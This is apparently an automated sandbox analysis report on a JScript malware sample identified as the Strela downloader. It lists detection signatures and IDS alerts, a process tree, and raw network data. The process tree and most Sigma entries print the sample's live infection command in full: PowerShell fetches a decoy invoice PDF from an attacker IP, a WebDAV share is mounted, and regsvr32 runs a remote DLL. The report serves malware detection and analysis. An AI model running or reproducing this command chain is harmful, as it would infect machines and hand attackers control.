Edit tour

Windows Analysis Report
6043249381237528594.js

Overview

General Information

Sample name:	6043249381237528594.js
Analysis ID:	1588861
MD5:	384badf0f75481a2a311290dcd28f457
SHA1:	47d9edab1eff959148afb5453454eb1cb4980fe9
SHA256:	bef6b3170478c8a9afd0e661903a672315c3f5715f849a52ad73cea8d5c0789b
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7384 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6043249381237528594.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7468 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7520 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7692 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7912 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8120 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1652,i,4764841077737964048,17995791166656125396,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7708 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7744 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7980 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7384	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7468, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7520, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7468, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7520, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6043249381237528594.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6043249381237528594.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6043249381237528594.js", ProcessId: 7384, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7744, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49762

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6043249381237528594.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, ProcessId: 7468, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6043249381237528594.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, ProcessId: 7468, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6043249381237528594.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, ProcessId: 7468, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6043249381237528594.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, ProcessId: 7468, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6043249381237528594.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, ProcessId: 7468, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6043249381237528594.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6043249381237528594.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6043249381237528594.js", ProcessId: 7384, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7468, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7520, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7708, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7744, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7980, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7708, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7744, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6043249381237528594.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7384, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\187452473818653.dll, ProcessId: 7468, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:24:44.304365+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.9	49743	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:24:46.861730+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49762	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:24:44.304365+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49743	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 6043249381237528594.js

Virustotal: Detection: 13%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 6043249381237528594.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 6043249381237528594.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.9:49743 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49762 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:24:44 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports
